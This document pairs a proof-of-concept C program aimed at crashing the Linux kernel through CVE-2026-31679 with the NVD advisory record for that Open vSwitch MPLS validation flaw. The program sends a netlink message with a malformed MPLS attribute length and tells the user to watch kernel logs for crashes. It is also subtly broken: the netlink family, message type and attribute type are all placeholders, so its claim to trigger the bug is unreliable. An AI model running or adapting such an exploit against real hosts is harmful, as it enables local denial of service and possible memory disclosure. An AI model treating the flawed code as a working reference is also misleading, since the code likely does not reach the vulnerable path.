CVE-2026-31679

/* * PoC for CVE-2026-31679: Open vSwitch MPLS Payload Validation Bypass * This PoC attempts to trigger the vulnerability by sending a malformed * Netlink message with an invalid MPLS attribute length to the kernel. * Compile: gcc -o poc_mpls poc_mpls.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #define NETLINK_OVS_VPORT 32 // Placeholder for OVS Netlink family struct ovs_header { __u32 dp_ifindex; }; int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct ovs_header *ovsh = NULL; char *msg_payload; int ret; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_OVS_VPORT); if (sock_fd < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message buffer int payload_size = 1024; nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(payload_size)); memset(nlh, 0, NLMSG_SPACE(payload_size)); nlh->nlmsg_len = NLMSG_SPACE(payload_size); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_type = 0; // Specific OVS command type would go here // Add OVS header ovsh = (struct ovs_header *)NLMSG_DATA(nlh); ovsh->dp_ifindex = 0; msg_payload = (char *)ovsh + sizeof(struct ovs_header); // Construct malformed nested attribute for OVS_ACTION_ATTR_SET // Simulating OVS_KEY_ATTR_MPLS with wrong size (e.g., 4 bytes instead of sizeof(struct ovs_key_mpls)) struct nlattr *nla = (struct nlattr *)msg_payload; nla->nla_len = 4; // Malformed length nla->nla_type = 0; // OVS_KEY_ATTR_MPLS placeholder // Fill remaining with junk data memset((void *)nla + sizeof(struct nlattr), 0x41, 4); printf("Sending malformed Netlink message to trigger CVE-2026-31679...\n"); sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); printf("Message sent. Check kernel logs (dmesg) for crashes.\n"); close(sock_fd); free(nlh); return 0; }

{"cve": {"id": "CVE-2026-31679", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-25T09:16:01.550", "lastModified": "2026-05-06T21:25:09.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: validate MPLS set/set_masked payload length\n\nvalidate_set() accepted OVS_KEY_ATTR_MPLS as variable-sized payload for\nSET/SET_MASKED actions. In action handling, OVS expects fixed-size\nMPLS key data (struct ovs_key_mpls).\n\nUse the already normalized key_len (masked case included) and reject\nnon-matching MPLS action key sizes.\n\nReject invalid MPLS action payload lengths early."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.253", "matchCriteriaId": "D9EE2E5A-7EDD-4F5B-B848-A34F7E787521"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2ca33b88a79ca42f017ae0f7011280325655438e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4cae986225f8b8679ad86b924918e7d75a96aa61", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/546b68ac893595877ffbd7751e5c55fd1c43ede6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/68f32ef0683c8d1c05cd2e4f16818fa63ff59c6f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8ed7b9930cbc3bc71f868fa79a68700ac88d586a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/98de18d327ef8cbbb704980e359e4872d8c28997", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bd50c7484c3bb34097571c1334174fb8b7408036", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c1f97152df8dfb17e855ddf0fc409b7bd13e9700", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}